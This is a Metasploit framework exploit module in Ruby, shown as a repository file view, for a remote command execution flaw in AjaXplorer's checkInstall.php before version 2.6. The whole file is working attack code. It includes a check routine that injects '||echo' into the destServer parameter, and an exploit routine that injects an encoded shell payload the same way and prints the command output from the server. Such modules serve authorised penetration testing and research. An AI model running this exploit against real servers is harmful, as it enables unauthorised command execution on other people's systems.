Michael Schierl
21f6127e29
Change all Platform 'windows' to 'win', as it internally is an alias anyway and only causes unnecessary confusion to have two platform names that mean the same.
112 lines
2.9 KiB
Ruby
112 lines
2.9 KiB
Ruby
##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'AjaXplorer checkInstall.php Remote Command Execution',
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'Description' => %q{
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This module exploits an arbitrary command execution vulnerability in the
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AjaXplorer 'checkInstall.php' script. All versions of AjaXplorer prior to
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2.6 are vulnerable.
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},
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'Author' =>
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[
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'Julien Cayssol', #Credited according to SecurityFocus
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'David Maciejak', #Metasploit module
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'sinn3r' #Final touch on the Metasploit module
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],
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'License' => MSF_LICENSE,
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'References' =>
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[
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[ 'OSVDB', '63552' ],
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[ 'BID', '39334' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'DisableNops' => true,
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'Space' => 512,
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'Compat' =>
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{
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'ConnectionType' => 'find',
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'PayloadType' => 'cmd',
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'RequiredCmd' => 'generic perl ruby python bash telnet'
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}
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},
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'Platform' => ['unix', 'bsd', 'linux', 'osx', 'win'],
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'Arch' => ARCH_CMD,
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'Targets' => [[ 'AjaXplorer 2.5.5 or older', { }]],
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'DisclosureDate' => 'Apr 4 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, 'The base path to AjaXplorer', '/AjaXplorer-2.5.5/'])
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], self.class)
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end
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def check
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target_uri.path << '/' if target_uri.path[-1,1] != '/'
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clue = Rex::Text::rand_text_alpha(rand(5) + 5)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
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'vars_get' => {
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'destServer' => "||echo #{clue}"
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}
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})
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# If the server doesn't return the default redirection, probably something is wrong
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if res and res.code == 200 and res.body =~ /#{clue}/
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def exploit
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peer = "#{rhost}:#{rport}"
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target_uri.path << '/' if target_uri.path[-1,1] != '/'
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# Trigger the command execution bug
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => "#{target_uri.path}plugins/access.ssh/checkInstall.php",
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'vars_get' =>
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{
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'destServer' => "||#{payload.encoded}"
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}
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})
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if res
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print_status("#{peer} - The server returned: #{res.code} #{res.message}")
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m = res.body.scan(/Received output:\s\[([^\]]+)\]/).flatten[0] || ''
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if m.empty?
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print_error("#{peer} - This server may not be vulnerable")
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else
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print_status("#{peer} - Command output from the server:")
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print_line(m)
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end
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end
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end
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end
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=begin
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Repo:
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http://sourceforge.net/projects/ajaxplorer/files/ajaxplorer/2.6/
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=end
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